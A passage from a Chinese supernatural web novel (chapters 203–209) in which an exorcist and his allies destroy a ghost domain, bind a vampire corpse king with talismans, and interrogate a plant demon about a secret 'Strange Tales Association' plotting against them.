剑身之上清光大盛,如同一轮清冷的明月升起!
剑鸣之声清脆激昂,响彻整个鬼蜮,仿佛在宣告正法的降临!
他环眼一扫那些依旧如同潮水般涌来的、穿着各时期樱花**装的厉鬼,声如洪钟大吕,带着无上的威严:
“尔等蛮夷邪鬼!不入轮回,不修正道,安敢犯我华夏净土?!惊鸿——辟邪!”
没有任何繁复花哨的招式,只是简简单单、堂堂正正的一剑横扫!
一道半月形的、纯粹由浩然正气与钟馗伏魔神力构成的黑色剑罡,如同摧枯拉朽的飓风,呼啸着向前奔涌而出!
剑罡所过之处!
那些之前还凶戾无比、叫嚣着“板载”的军官厉鬼,此刻却如同阳光下的冰雪,又好似狂风中的残烛!
连一丝像样的抵抗都无法做出,便纷纷发出短暂而凄厉的惨嚎,魂体溃散、消融,化为最本源的阴气,随即被剑罡中蕴含的神力彻底净化!
烟消云散!
钟馗,伏魔大帝!
对于一切阴魂鬼物,有着天生的、绝对的克制权柄!
位格压制,根本不容反抗!
看着高彦博如同砍瓜切菜般清理着这些“行走的阴德”,古德看得是眼皮直跳,心痛不已!
他忍不住高声喊道:“喂喂!大佬!手下留情啊!打鬼归打鬼,别都打得魂飞魄散啊!能收就收起来!这些都是宝贵的资源啊!”
请神状态下的高彦博,闻言,动作微微一顿。
他那威严的面孔上,似乎闪过一丝极淡的无奈和好笑的神情。
随即,他身上那必杀的凌厉气势,收敛了几分。
再次出手时,剑罡的威力明显控制了许多,更多是将鬼物击溃、打散,而非直接净化。
然后再用收鬼符收起。
看到这一幕,古德这才满意地点了点头。“这就对了嘛,我系统升级可全靠卖鬼来的。”
接着,他的目光,再次落回那奄奄一息、瘫在淤泥中的吸血鬼尸王身上,又扫了一眼这充斥着无尽怨念、仿佛由无数痛苦哀嚎构筑而成的扭曲鬼蜮。
“好了,实验体先生,别嚎了。”
古德甩了甩手中青铜阔剑上并不存在的灰尘,将沉重的剑锋,再次指向那无法动弹的尸王,语气依旧轻松,却带着不容置疑的决断。
“接下来就发挥下你最后的价值。顺便,把这不应该存在的鬼蜮……彻底净化掉。”
第203章 收获一个战利品
那樱花国吸血鬼尸王虽受重创,气息萎靡如风中残烛,但仍在污浊的淤泥中徒劳地挣扎扭动。
它那双猩红如血的眸子里,交织着刻骨的怨毒与一丝源自生命本能的对即将彻底消亡的恐惧。
它喉咙里发出“嗬嗬”的、如同破风箱般的嘶气声,残存的凶性让它仍试图凝聚起最后一丝阴煞之气。
古德冷眼旁观,岂容这不尸不鬼的怪物再有丝毫作祟的机会?
更防备着它会不会像某些西洋传说里的吸血鬼那样,临死前玩一手化身蝙蝠逃窜的把戏。
虽然感觉这残次品未必有那本事,但小心驶得万年船。
“孽障!事到如今,还不伏诛!”
古德一声清喝,声如寒冰,并不急于抢剑强攻。
他左手迅如闪电般自腰间那只帆布法袋中一探一摸,一道色泽暗红、隐隐泛着金属光泽的长线,悄无声息地跃入他的掌心!
正是那浸润了**血、赤硝,内掺金丝的墨斗线!
与此同时,古德右手的食指与中指之间,已悄然夹住了数张颜色明黄、符纸质地坚韧的符箓。
符箓之上,是用辰州朱砂混合了雄鸡冠**写的玄奥符文,笔走龙蛇,专克尸变的镇尸符!
古德足下踏出玄妙步法,身形如游龙般灵动,轻巧地避开了尸王垂死反击时,从口中喷出的一股腥臭扑鼻的污血毒煞。
那毒煞落在地上,立刻将怨念淤泥腐蚀出“滋滋”作响的坑洞,冒出缕缕青烟。
而古德手中那根暗红色墨斗线,在他精准无比的操控下,仿佛真的拥有了生命!
随着他手腕灵巧地抖动、甩出,墨线在空中划出一道道蕴含着某种玄奥轨迹的弧光!
“一缠头颈锁灵关!”
古德口中低叱一声,手腕猛地一抖!
那墨线线头,如同被无形力量牵引的利箭,“嗖”地一声,精准无比地绕过尸王疯狂摆动的脖颈,迅速缠绕了数圈!
线身上蕴含的破邪之力瞬间激发,如同烧红的铁丝烙在冰雪上!
“嗤啦!”
尸王脖颈处的皮肉立刻冒起一股黑烟,发出焦臭味!
它发出一声痛苦混合着暴怒的嘶鸣,挣扎得更猛烈了!
“二绕双臂断阴脉!”
古德毫不停歇,步法再变,身形一旋,墨线随之如灵蛇出洞,飞速地缠绕上尸王胡乱挥舞的双臂,将其死死地捆缚在身体两侧!
墨线不仅束缚了它的行动,更如同一道坚韧的枷锁,极大地阻碍了它体内尸气与血能的流转!
尸王手臂上鼓起的、试图爆发力量的青黑色血管,迅速萎靡下去。
“三缚双足定地根!”
最后几下,古德手法快如闪电,墨线在其脚踝处紧密缠绕了数匝,死死固定住!
完成了这标准的“三缚”之法!
这特制墨斗线,遇邪便会自主激发破邪之力!
此刻,线身紧紧勒入尸王惨白的皮肉之中,发出持续不断的“滋滋”灼烧声!
任凭尸王如何怒吼、如何疯狂挣扎,它越是用力,这墨线反而收缩得越紧!
那破邪
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之力对它阴邪本质造成的痛苦也愈发剧烈,如同附骨之疽!
就在尸王被墨斗线暂时禁锢住的这一瞬间空当!
古德眼中精光一闪!
身形已然贴近到尸王身前!
“镇!”
古德口中发出一声简短而有力的敕令!
右手中指与食指夹着的那数张镇尸符,化作数道凌厉的黄光,精准无比地、分别拍向了尸王的额头正中央(灵台穴)、胸口膻中穴、以及后颈的大椎穴!
这三处,正是控制尸身行动的最关键的窍穴枢纽!
“啪!啪!啪!”
三声清脆的贴合声响起!
符箓贴上的瞬间,立刻被激发!
符纸上朱红的符文,骤然亮起一层濛濛的、却厚重无比的清光!
清光流转,仿佛化作了三座无形的大山,轰然压在了尸王的三大要穴之上!
“呃啊啊!”
尸王浑身如遭雷击,剧烈地一震!
原本疯狂挣扎的力道,瞬间如同泄了气的皮球般,急剧衰弱下去!
它口中发出的嘶吼,变成了“嗬……嗬……”的、如同破风箱漏气般的艰难声响!
它那双猩红的眼眸中的光芒,也迅速黯淡下去,充满了不甘与绝望!
墨斗线的物理禁锢与能量隔绝,加上镇尸符对其本源尸气的彻底**!
双重保险之下!
任凭这怪物半鬼半尸、形态如何诡异转换,此刻也如被五花大绑的待宰牲畜,再难翻天!
处理完这个主犯,古德这才有暇环顾四周。
第204章 破灭鬼蜮
只见高彦博请钟馗上身后,威猛绝伦,手中钟馗宝剑挥洒间,已将大部分军官级别的厉鬼或收服或净化。
但仍有不少低阶的鬼兵鬼卒,或是见机躲藏在阴影角落里的漏网之鱼,仍在发出细微的哀嚎,如同蛆虫般蠕动。
“彦博哥,辛苦了。剩下的这些杂鱼,交给我来清理吧。你在一旁压阵即可。”
古德对高彦博说道。
高彦博周身那磅礴的神光开始缓缓内敛,他点了点头,手持依旧清光湛湛的钟馗宝剑,威严地肃立在一旁,如同一尊门神,凌厉的目光扫视着四周,防止任何意外发生。
古德再次从法袋中取出一叠厚厚的符箓。
这些符箓的质地与镇尸符略有不同,颜色更偏向柔和的杏黄色,其上书写的符文也更加圆融,蕴含着一股收纳、封禁的意味,正是常用的收鬼符。
古德手掐摄鬼诀,法力微吐!
奇异的一幕发生了!
他手中那叠收鬼符,忽然无风自动,一张张轻飘飘地悬浮而起,仿佛被无形的手托着!
下一刻,它们化作数十道流光,精准地射向那些躲在各个角落、瑟瑟发抖的残余鬼物!
符光笼罩之下,无论是面目狰狞的鬼兵,还是怨气深重的卒灵,皆如同被巨大的吸力捕捉,身不由己地被摄入了符纸之中!
符纸轻轻飘落地面,其上则多了一道不断扭曲挣扎的黑色阴影图案。
随即,符纸便自动折叠起来,严丝合缝地变成了一个稳固的三角包,安安静静地躺在了地上,再也没有丝毫动静。
不过是短短几分钟的功夫,原本还充斥着各种鬼哭狼嚎的鬼蜮核心区域,此刻已变得一片死寂!
再也看不到一只游荡的鬼物!
只剩下那个被墨线和镇尸符捆得结结实实、只能从喉咙里发出微弱“嗬嗬”声的吸血鬼尸王,以及满地那些封装着鬼魂的、排列得还算整齐的三角符包。
古德满意地点了点头,如同丰收的老农,开始弯腰,仔细地将这些“战利品”,一个一个地拾起。
他拿出一个特制的装魂袋,将这些三角符包扔了进去。
这些可都是能换取阴德的硬通货啊。
做完这一切,古德才慢悠悠地走到那吸血鬼尸王的面前。
尸王兀自用那双黯淡却依旧怨毒的眸子,死死地瞪视着他,如果眼神能**,古德恐怕早已千疮百孔。
古德却懒得理会这无能狂怒。
他随意地伸出一只手,轻松地握住了缠绕在尸王身上的墨斗线线头,然后,如同拖拽一口装满杂物的破麻袋一般,毫不费力地将这庞大的身躯,在污浊的地面上拖行起来。
尸王的身体与地面摩擦,发出“沙沙”的沉闷声响。
他的另一只手,则将一直插在身旁地面的那柄沉重的青铜阔剑,“锵”地一声拔起,随意地重新扛在了自己宽阔的肩头。
“彦博哥,搞定了,走吧。这鬼地方,也该彻底清理掉了。”
古德招呼了一声肃立一旁的高彦博。
随即,他便拖着这的战利品,步履从容地沿着来时的路径,向着鬼蜮的入口方向走去。高彦博默不作声,手持宝剑,紧随其后。
来到鬼蜮与现实世界的边界处。
那层原本不断蠕动、散发着不祥气息的黑暗壁垒,此刻因为核心吸血鬼尸王被制服,且内部的鬼物已被清扫一空,变得极其不稳定。
光芒剧烈闪烁,明灭不定,仿佛随时都会**出来。
古德停下脚步,深吸了一口那略带硝烟味、
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却无比真实的外界空气。
他闭上双眼,不再依靠任何外在的法器或符箓,而是纯粹地以自身强大的心神力量,去勾连外围那座由他亲手布下,覆盖了整个警署的八卦缚灵镇煞大阵的核心阵眼!
一种无形的联系,瞬间建立!
古德意念一动,沟通阵眼中枢。
“八卦逆转,阴阳归位!炁散邪消,空间弥平——破!”
随着他以心神引动的敕令!
外界的八卦缚灵镇煞大阵,轰然响应!
笼罩在警署上空的那巨大的八卦光幕,以前所未有的速度旋转了起来!
四面八方的天地正气和星宿之力,被汲取、压缩,最终化作一道纯粹由能量构成的、璀璨夺目的破邪金光,自虚空之中轰然降下!
这道金光,无视一切物理阻隔,直接贯入了这将要**的鬼蜮空间的最核心!
“咔嚓——!!!轰隆隆隆!!!”
一声清脆如同玻璃爆碎、又混合着沉闷如雷鸣的巨响,猛地传遍了鬼蜮的每一个角落!
在那磅礴无比的破邪金光的冲击之下,鬼蜮的黑暗壁垒,如同被投入熊熊烈火的薄冰一般,瞬间布满了无数密密麻麻的裂痕!
紧接着,在一声更大的轰鸣中,轰然崩塌、消散!
化作点点黑色的光屑,迅速湮灭在空气之中!
昏暗却真实的灯光,瞬间涌了进来!
那种令人窒息的空间扭曲感、无处不在的阴冷、污秽、怨念气息,如同被炽热阳光驱散的清晨浓雾,迅速地消弭、净化,最终彻底化为乌有!
鬼蜮,已破。
此地,重归人间。
古德拖着那半死不活的吸血鬼尸王,扛着沉甸甸的青铜阔剑,步履从容地一步踏出了警署大楼的大门。
第205章 又有意外出现
古德拖着那半死不活的吸血鬼尸王,一步踏出那已然消散的鬼蜮边界,重新感受到外界略带凉意却无比真实的夜风。
他刚对着迎上来的谢潮、周星星等人露出一个“搞定收工”的笑容。
“啊——!”
一声尖锐、充满惊恐的女子尖叫声,猛地从警署门口方向传了过来!
紧接着,便是后勤部队员们混杂着怒意的厉声呵斥和一片“咔嚓咔嚓”的**拉动声!
“什么人?!站住!”
“不许动!再靠近我们就开枪了!”
“警告一次!立刻表明身份和意图!”
古德眉头瞬间皱紧,脸上的轻松神色顷刻间消失无踪,取而代之的是一丝意外和凝重。
‘还有情况?’
他心中微微一沉。
刚刚解决掉一个鬼蜮和尸王,按理说这片区域的主要威胁应该已经清除了。
这突如其来的变故,难道是漏网之鱼?或者……是又幕后黑手?
“我们出去看看!”
古德毫不犹豫,沉声对身旁的谢潮和周星星等人说道。
他随手将拖着的吸血鬼尸王扔给旁边两名后勤队员看管,自己则一马当先,朝着传来骚动的方向疾步走去。
谢潮和周星星等人也立刻收敛了脸上的笑意,神色警惕地紧随其后。
几人迅速穿过警署庭院,来到了大楼侧门出口。
刚一踏出门口,眼前的景象便让古德的眼神再次一凝。
只见在警署门口那片还算宽敞的空地上,气氛正剑拔**张!
石敢当此刻正散发出淡淡的土黄色光晕,如同一堵坚实的墙壁般,将吓得脸色发白的贝贝娜牢牢护在身后。
他的面孔上,充满了警惕和凝重,目光如炬,死死地盯着的前方。
而在他们对面,站着约莫十几道身影。
为首的,是一个身材高挑、曲线玲珑的年轻女人。
她穿着一身紧身的黑色亮面皮衣皮裤,将其火辣的身材勾勒得淋漓尽致。
脚下踩着一双高跟马丁靴,更添几分咄咄逼人的气势。
她的面容美艳,五官精致,但眉宇之间,却流转着一股与其美貌极不相称的妖异和邪气。
嘴角噙着一抹似笑非笑的弧度。
在这个妖异女人的身后,跟着十来个穿着警服、但眼神带着红光、面无表情的男子,其中带走的男子眼里的红光更甚。
他们手中都清一色地握着警用点三八**,枪口虽然没有明确指向谁,但那整齐划一的动作和散发出的冰冷气息,显示他们绝非善类。
外围,后勤部的队员们,此刻已经迅速展开了战斗队形。
他们每人手中都撑开着那把特制的驱邪照明伞,伞面旋转,投下一片片柔和却能有效抵御阴邪侵蚀的光晕。
同时,他们手中的灭魂枪也已经齐齐举起,黑洞洞的枪口,稳稳地对准了那十几个被控制的**,形成了一个严密的包围圈。
气氛紧张得如同拉满的弓弦,一触即发!
更加意外的是,在这片对峙区域的更远处,靠近围墙的阴影角落里,不知何时,竟然又**起了一大片影影绰绰的黑影!
那些黑影形态扭曲,死状各异,有的肠穿肚烂,有的缺胳膊少腿,有的则保持着临死前惊恐的表情……它们是之前被警署鬼蜮吸引过来、或是长久徘徊在这片极阴之地的游魂怨鬼!
此刻,它们似乎被这边的活人气息和紧张氛围所吸引,正用那种空洞而贪婪的目光,死死地盯着这边,发出阵阵低沉的呜咽声和哀嚎,蠢蠢欲动!
古德的目光首先落在了那个为首的、长得极像庄芷若的皮衣女人身上。
仅仅是一眼,他的瞳孔就微微收缩了一下。
从这个女人身上,他
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清晰地感受到了一股熟悉的、却又有些不同的气息!
那是一种类似于之前交过手的海魔萨拉莎的气息!
但,眼前这个女人身上的这种气息,明显要弱小很多!
‘又是一个……精怪?’
古德心中瞬间有了判断。
‘看样子,和石敢当、海魔一样,都是属于天地所生的精灵之属,只是种类和道行不同。’
就在这时,站在古德身后的马季,在看清楚那个皮衣女人的脸时,不由得失声惊呼出来,声音中充满了难以置信和震惊:
“芷若?!还有……郭展明?!你们……你们怎么会在这里?还这个样子?”
他指着那个女人,又指了指她身后那群**中一个领头模样的男子,脸上写满了困惑和不安。
那个被称为郭展明的男子,面无表情,对于马季的呼喊后冲着他冷笑了一下。
而那个长得像庄芷若的皮衣女人,闻言却“咯咯咯”地娇笑了起来,笑声如同银铃般清脆,却带着一股说不出的妖异和媚惑。
“哎呀呀……这位帅气的小哥……”
她用一种慵懒而拖长的语调说道,目光在马季身上流转,带着几分戏弄:“你认错人了哦,我可不是那位纯洁善良的庄医生哦~”
马季闻言,猛地一愣,随即也反应了过来。
对啊!
庄芷若一向是那么的温柔、端庄,穿着白大褂或者素雅的便装,怎么可能会是眼前这个一身妖里妖气的皮衣女郎?
而且,她的眼神、气质……完全是两个人!
虽然她的长相和马季那位暗恋已久的女医生,庄芷若相似!
但是气质截然不同,眼前的这一个,更像是一朵淬了毒的、妖艳的黑玫瑰。
古德听到这番对话,心中顿时了然。
‘庄芷若……原来是电视剧里的那个黑鼠尾草……’
第206章 黑鼠尾草化成的魔
古德的脑海中,迅速闪过了一些前世记忆中的信息片段。
如果没猜错的话,眼前这个女人,她的本体,应该是一种叫做“黑鼠尾草”的特殊植物,在某种机缘巧合下,吸收了足够的日月精华或特殊能量,从而开启灵智、化形成精的“魔”!
从某种程度上说,她和石敢当、海魔萨拉莎一样,都属于“精怪”的范畴。
不过,根据古德推测,这黑鼠尾草化形的魔,能力似乎并不以直接的战斗力见长。
她更像是一种偏向于精神和幻术方面的精怪。
按电视剧里展示的剧情,她估计是需要汲取人类的七情六欲、特别是那些强烈的喜怒哀乐等情绪作为食粮来维持存在和提升力量。
她喜欢**人心,制造各种幻象和误会,挑起纷争和矛盾,然后在一旁欣赏由此产生的各种激烈情绪,并从中汲取力量。
是一种颇为难缠和邪恶的精怪。
‘所以这人警员应该都是被她控制住了……’
古德瞥了一眼那些眼神略微呆滞的警员。
‘看来都是被她用幻术或者精神控制了。’
不过她选择在这个时候出现……是巧合?还是……另有所图?
是被刚才鬼蜮爆发的强烈阴气和我们破阵的动静吸引过来的?
还是……她本就和这警署下面的东西,有着某种联系?’
思绪如同电光石火般在脑中闪过。
古德暂时压下了这些疑问。
石敢当对着古德喊道:
“阿德,你们小心,这个是魔。”
古德点了点头,他已经发现了。
接着古德目光冰冷地看向那个黑鼠尾草魔幻化的庄芷若,语气平淡,缓缓开口问道:
“说出你们的来意。”
他的声音不高,却清晰地传入了在场每一个人的耳中,仿佛带着一种无形的压力。
“为什么要袭击我们的人?如果你的回答能让我满意,或许……我可以考虑给你一个痛快的死法。”
不过话虽这么说,古德还是准备把这个魔抓住卖阴德。
在古德说话的同时,谢潮、周星星等人,也已经默契地移动位置,隐隐将这十几个不速之客的退路也封锁了起来。
形成了一个更加严密的包围圈。气氛顿时变得更加紧张。
然而,面对古德这毫不客气的质问和周围虎视眈眈的众人,那个黑鼠尾草魔幻化的庄芷若,脸上却看不出丝毫的紧张或畏惧。
她反而又发出一阵“咯咯”的娇笑,伸手轻轻抚弄了一下自己额前的秀发,动作充满了一种刻意的妩媚和轻松。
仿佛眼前的局面,对她来说,不过是一场有趣的游戏。
她红唇微启,刚想说些什么——
“噔噔~噔噔~瞪!噔噔!噔噔~噔噔噔!瞪~瞪~瞪~”
一阵古筝弹拨声,猛地从旁边响了起来!
“叮铃~”紧接着,又是一声清脆的铃铛摇晃声,合时宜地插了进来。
这突如其来的背景音乐,让现场那剑拔**张的紧张气氛,瞬间变得……有些滑稽和诡异起来。
所有人都下意识地循着声音望去。
只见在人群的边缘,周星星不知何时怀里抱着一把看起来颇为老旧,也不知道他是从哪个角落里翻出来的古筝!
他正一本正经地在那里弹奏着,脸上还带着冷酷的表情!
而莫作栋,则站在他旁边,手里拿着一个黄铜铃铛,一脸严肃地配合着周星星那节奏,时不时地摇动一下!
见到众人的目光都集中到了自己身上,周星星节奏不停,冲
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着大家眨了眨眼,脸上露出一个得意的笑容,大声说道:
“看**嘛?你们继续谈你们的正事啊!不用管我们!我们这是在给你们配点BGM应应景!”
莫作栋也连忙点了点头,一脸深以为然的表情,附和道:“没错,你们继续,当我们不存在就好!”
古德看着这两个活宝,嘴角忍不住抽搐了一下。
他感觉自己的额头有青筋在跳动。
这都什么时候了,这两个家伙还在这里添乱!
他也懒得再跟他们废话。
手腕一翻,指尖已经多出了两张画着定身符的黄符。
随手一甩!
“嗖!嗖!”两道黄光闪过!
那两张定身符,精准无比地贴在了周星星和莫作栋的额头上!
两人的动作、表情,瞬间凝固!
如同两尊雕像一般,僵在了原地!
只有两双眼珠子,还在滴溜溜地转动着,流露出无辜和不解的神色。
“清净了。”
古德轻轻吐出一口气,仿佛做了一件微不足道的小事。
他重新转过头,看向那个也被这突如其来的一幕搞得有些发愣的黑化庄芷若,脸上恢复了之前的平静,淡淡地说道:
“不好意思,他们有点调皮。现在清静了,你可以继续说了。”
那黑鼠尾草魔幻化的“庄芷若”,脸上那娇媚的笑容,微微僵硬了一下。
她那双妖异的眸子,深深地看了古德一眼,眼神中闪过一丝不易察觉的恼怒和冷意。
显然,古德这边人的这种无所谓的态度,让她感到有些意外和不快。
她收敛了几分笑容,但语气依旧带着那种令人不舒服的娇嗲:
“呵……看来,你们还真是……一点都不把我们放在眼里啊……”
第207章 还真没放在眼里
“呵。”
听到那魔化庄芷若试探的话语,古德不由得发出一声冷笑。
他嘴角微微上扬,没放在眼里?
没错,他是真的一点都没把眼前这几个家伙放在眼里。
古德眼神骤然一冷,一直自然垂在身侧的右手,倏然抬起!
指决一掐!
“八卦轮转,阴阳易位!”
“内守化外缚,镇邪显威仪!”
“天罗地网,收束妖氛——转!”
随着他最后一声“转”字脱口而出!
“嗡——!!!”
一声低沉浩的嗡鸣,骤然在每个人的心头响起!
下一刹那,异变陡生!
只见原本只是如同一个半透明光罩般笼罩在警署上方的八卦缚灵镇煞大阵,骤然发生了剧烈的变化!
阵法散发出的光芒瞬间内敛,仿佛所有的能量都被压缩到了极致!
紧接着,在众人头顶约十丈左右的虚空之中,一个巨大无比、直径足有数十米的虚幻八卦图形,缓缓地、却又带着无可抗拒的威严,凝聚显现出来!
这个虚无的八卦,并非实体,却比实体更加令人心悸!
它缓缓旋转着,乾、坤、震、巽、坎、离、艮、兑八个卦象清晰可见,每一个符号都散发着克制一切阴邪污秽的磅礴威压!
道道肉眼可见的清正光晕如同水波般从八卦中心荡漾开来,笼罩了下方的整个区域!
这威压,并非简单的气势,而是一种源自法则层面的直接压制!
对于一切非正道的存在,有着先天性的绝对克制!
“呃啊!”
“噗通!噗通!噗通!”
首当其冲的,就是那十几个被黑鼠尾草魔用幻术或精神控制的普通警员!
他们本身只是凡人,魂魄脆弱,如何能承受这等直接作用于灵魂本源的阵法威压?
一个个连惨叫都没能发出几声,便双眼翻白,口吐白沫,如同被抽掉了骨头一般,软绵绵地瘫倒在地,彻底昏迷了过去,暂时失去了所有意识。
而魔化庄芷若和那个被控制得更深、几乎沦为傀儡的郭展明,情况则更加糟糕!
“哼!”
魔化庄芷若发出一声痛苦的闷哼,她那张妖艳的脸蛋上瞬间失去了血色,变得一片惨白!
周身那股妖异的魔气,仿佛被泼了滚烫的开水一般,剧烈地翻滚、收缩!
她双腿一软,“噗通”一声,身不由己地半跪在了冰冷的地面上!
她试图挣扎,却感觉仿佛有一座无形的大山压在了她的背上和灵魂上,让她连抬起一根手指都变得极其困难!
那双原本充满了媚惑和邪气的眸子里,此刻只剩下骇然和难以置信的惊恐!
郭展明更是不堪,他直接被这股威压压得五体投地,整个人都趴伏在了地上,身体微微抽搐着,口中发出无意识的“嗬嗬”声,显然已经完全失去了抵抗能力。
那个巨大的虚无八卦,就如同一个无形的
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牢笼,精准地将他们两人笼罩在内!
八卦缓缓旋转,散发出的清光如同一道道坚韧的锁链,将他们牢牢地束缚在原地,动弹不得!
古德看着眼前这一幕,脸上的表情没有丝毫变化。
他随手将那柄沉重的青铜阔剑,“咚”地一声,杵在了身旁的地面上,剑尖轻松地没入了坚硬的水泥地。
然后,他好整以暇地拍了拍手上并不存在的灰尘,仿佛刚才只是做了一件微不足道的小事。
接着古德目光平静地落在半跪于地、狼狈不堪的魔化庄芷若身上,语气冷淡地开口,声音不大,却清晰地传入对方耳中:
“现在,你应该明白了吧?”
他的话语中带着一种居高临下的审视。
“我的确没把你们放在眼里。”
他顿了顿,嘴角勾起一抹坏笑,继续说道:
“我这人,其实挺讲道理的。”
“现在,给你一个机会。老老实实地,把你们的来意,背后的指使者,一五一十地给我说清楚。”
“态度好一点,回答让我满意的话……”
古德故意拉长了音调,看着对方眼中闪过的一丝希冀,才慢悠悠地补充道:
“我或许可以考虑一下,发发善心,直接送你去地府报到。让你和你的那位叫什么海魔萨拉莎的前辈,在下面做个伴。
虽然地府日子清苦了点,但好歹也算是个正经归宿,总比魂飞魄散要强,你说是不是?”
第208章 怪谈协会的秘密
一听到“地府”两个字,尤其是听到“海魔萨拉莎”这个名字,魔化庄芷若的脸色瞬间剧变!
那是一种发自灵魂深处的恐惧!
她当然知道地府是什么地方!
对于她这种由草木化形、走了邪魔外道的精怪来说,一旦被打入地府,等待她的,绝对不是什么好处境!
那可比简单的魂飞魄散还要痛苦千万倍!
而海魔萨拉莎……她更是有所耳闻!
那是何等强大的存在?
竟然也被眼前这个男人给送去地府了?
这消息如同一盆冰水,从头浇到脚,让她的心彻底凉了半截!
“不!不要送我去地府!我说!我什么都说!”
魔化庄芷若再也顾不得什么风度和矜持了,连忙尖声叫道,声音因为恐惧而带着明显的颤抖。
“我……我是怪谈协会的……十二会长之一!主要负责……处理一些协会行动后可能暴露的……善后工作……比如,清除目击者,或者……像这次一样,清除对协会有潜在威胁的目标……”
古德闻言,心中顿时了然。
‘原来是他们。’
这个阴魂不散的怪谈协会,还真是跟蟑螂一样,你都不知道它们会从哪个角落就钻了出来。
看来,是自己之前几次行动,让这个隐藏在暗处的组织越来越感受到威胁了。
所以才派了这个擅长幻术和精神控制的魔女前来善后。
而这个魔想的也很好,准备在自己刚刚经历一场大战、可能处于虚弱期的时候,进行偷袭或者清除。
想到这里,古德不由得感到有些无语和好笑。
他摸了摸自己的下巴,语气带着几分调侃:
“你们这个协会,是不是属跟屁虫的?我这还没腾出手来去找你们算账呢,你们倒好,一个接一个地主动送上门来。怎么,是觉得我这里风水好,适合给你们当集体墓地吗?”
魔化庄芷若听到古德这带着浓浓嘲讽的话,脸上露出一丝委屈和无奈的表情,配合着她那张妖艳的脸,倒是显得有几分楚楚可怜。
如果忽略她周身那尚未完全散去的魔气的话。
“我……我也是被逼的啊!”
她带着哭腔说道,“协会里……真正掌权的那几个老怪物……他们说,你的存在,和你不断提升的实力和破坏力,对协会正在进行的一项重大计划,构成了极其严重的威胁!
他们说……必须在你成长到无法遏制之前,不惜一切代价……除掉你!否则……协会多年的心血……可能会因为你而出现巨大的意外和变数!”
重大计划?无法遏制的威胁?
古德听到这里,心中不由得一动,原本有些漫不经心的态度,立刻变得认真起来。
他敏锐地捕捉到了这几个关键的词语!
看来,这个怪谈协会,所图非小!
而且,他们似乎对自己的情况,有着某种程度的了解?
甚至可能在暗中观察了自己一段时间?
他立刻追问道,语气变得严肃了许多:“重大计划?什么计划?说清楚!还有,你们协会的老巢,主要据点,都在哪里?”
魔化庄芷若为了不被立刻送去可怕的地府,此刻也顾不得什么协会保密条例了。
而且,她本性就是一个趋利避害、对协会并没有太多归属感的魔头,此时为了自保,自然是有什么说什么。
“具体……具体的计划详情……我真的不知道啊!”
她急忙解释道,生怕古德不信。
“我虽然挂了个会长的名头,但其实……算是半路加入的,并不是他们的核心成员。那些最机密的事情,他们根本不会告诉我!”**
“我只隐约听说过……他们好像在策划一件惊天动地的大事……似乎……是和什
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么‘世界归属’有关……”
她努力回想着,脸上也露出一丝困惑。
“他们说,只要计划成功,这个世界……将会迎来一位真正的‘主宰’……到时候,整个世界的规则都会改变……我们这些追随者,也将获得……难以想象的好处,甚至可以……得道飞升,超脱这个牢笼般的世界……”
她的这番话,说得有些颠三倒四,含糊其辞,但其中透露出的信息,却让古德的眉头深深地皱了起来。
脸色变得凝重。
世界归属?真正的主宰?改变规则?得道飞升?
这些词语,组合在一起,听起来就像一个疯狂的邪教口号,或者是某个野心家的痴心妄想。
但在这个诡综世界,再结合这个怪谈协会能够驱使像海魔萨拉莎、黑鼠尾草魔这样的存在,并且怪谈协会似乎还在进行着某种不为人知的秘密活动来看,事情恐怕绝非那么简单!
这个协会所图谋的,恐怕是某种……颠覆性的、涉及到世界本源的可怕阴谋!
而古德自己,不知为何,竟然被他们视为了这个巨大阴谋的一个重大威胁和变数!
一旁的谢潮、周星星、高彦博等人,听着魔化庄芷若的话,脸上也都露出了惊疑不定的神色。
他们面面相觑,显然也被这番话中蕴含的惊人信息给震住了。
世界归属某个人?这听起来……也太天方夜谭了吧?
简直像是科幻小说里的情节!
但看古德那凝重的表情,似乎……事情并没有那么简单。
现场的气氛,一时间变得有些沉寂和压抑起来。
只有那个巨大的虚无八卦,还在无声地缓缓旋转,散发着令人心安又心悸的威压。
古德陷入了短暂的沉思。
他感觉,这个世界似乎隐藏着一个秘密,也许还和灵气消散,地府无法接入都有关联。
第209章 你有港币吗?
古德听完魔化庄芷若关于怪谈协会那番含糊其辞却又信息量巨大的供述后,眉头微蹙,心中念头急转。
他并未完全相信这魔头的话,但其中透露的零碎信息,已足够让他对那个隐藏在暗处的组织提高警惕。
他略一沉吟,决定先问些更实际的问题。
目光重新落回被阵法压得半跪于地的魔化庄芷若身上,语气平淡却带着不容置疑的威严,继续问道:
“你们怪谈协会在香江的具体据点,以前在哪里,现在又搬到了哪里?除了香江,在其他国家还有什么巢穴?”
魔化庄芷若此刻被头顶那虚无八卦的威压镇得喘不过气,魂体阵阵刺痛,只想尽快摆脱这痛苦的束缚。
她不敢隐瞒,也不敢添油加醋,连忙老实地回答,声音带着因痛苦而产生的颤抖:
“以前……以前的据点设在元朗的一处偏僻村屋里,那边阴气重,方便我们行事。
但……但自从知道古大师您的厉害后,协会里其他人觉得那里不够安全,怕……怕您找上门,大概半个月前,就悄悄把香江的主要活动地点搬到了市区。”
她顿了顿,喘了口气,才接着说道:
“新的地点在湾仔的嘉禾大厦,那栋楼鱼龙混杂,写字楼、住宅、甚至有些灰色生意的铺面混在一起,人流大,反而更容易隐藏。
大厦的……的十一楼,有一家挂名做进出口贸易的公司,其实就是我们的一个掩护据点。”
提到其他国家的地址,她脸上露出为难和茫然的神色,摇了摇头:
“其他的……我真的不知道了。我加入协会的时间不算太长,而且主要负责香江这边的‘后勤’和‘擦屁股’的活儿,权限不高。
那些海外的据点,都是协会里更核心的会长们直接掌握的,我这种半路加入、又是精怪出身的,他们……他们并不完全信任,从不会告诉我那些机密。”
说到这里,她像是突然想起了什么非常重要的事情,猛地抬起头,尽管被威压压得十分难受,还是急急地补充道:
“对了!还有一件事!我这次出发前,隐约听到一点风声!协会里似乎已经预料到,我这次行动未必能成功,当时我还不信邪。
他们说如果我也失败了,就会立刻启动备用方案,派人去联络东南亚、甚至樱花国那边的分会负责人,邀请他们派高手过来,准备联合起来,在香江设下埋伏,专门……专门对付您!”
吐出这个关键消息后,她立刻换上了一副极其可怜的表情,那双妖异的眸子水汪汪地望着古德,哀声恳求道:
“古大师,我知道的全都说了,一点都没有保留!您看在我这么配合的份上,能不能……能不能高抬贵手,不要送我下地府?那个地方,我真的不想去啊!”
她是草木成精,对地府那种专门管辖魂魄、充满死亡规则的地方有着天生的恐惧。
古德听完,没有立刻回答。
他摸着下巴,若有所思地打量着眼前这个魔物。
他心中快速盘算着:
